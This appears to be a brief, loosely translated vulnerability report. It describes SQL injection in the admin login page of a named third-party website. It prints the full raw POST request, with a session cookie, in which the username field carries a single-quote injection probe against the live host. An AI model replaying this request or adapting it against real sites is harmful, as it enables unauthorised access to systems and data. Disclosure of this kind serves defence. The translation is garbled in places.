SQL injection vulnerability in a third-party website of zhongke

SQL injection vulnerability in a third-party website of zhongke

The SQL injection vulnerability in the third-party website of CEN.



Address: POST injection at http://fax1.sfn.cn/Admin/login.aspx login:
 

POST /Admin/login.aspx HTTP/1.1Host: fax1.sfn.cnProxy-Connection: keep-aliveContent-Length: 372Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: http://fax1.sfn.cnUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36Content-Type: application/x-www-form-urlencodedReferer: http://fax1.sfn.cn/Admin/login.aspxAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8Cookie: ASP.NET_SessionId=2bvb2fzvph3z3j55gfc1qjjc__VIEWSTATE=%2FwEPDwUINDQyODIxNDkPZBYCAgMPZBYCAgcPDxYCHgRUZXh0BSfor7fovpPlhaXmgqjopoHnmbvlvZXnlKjmiLflkI3miJblr4bnoIFkZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQULbG9naW5zdWJtaXQi%2FF1BCLA%2BLu2nMi%2BZrM1jNj2aWQ%3D%3D&__EVENTVALIDATION=%2FwEWBAKF4MK0BQKl1bKzCQLG8eCkDwKlvMnXDDa2irhLjvhOmKSW1VJ1dhpNUYZv&txtUserName=%27&txtUserPwd=1&loginsubmit.x=52&loginsubmit.y=39

 

 

If you do not go deep, go to the homepage on the sfn.cn main site.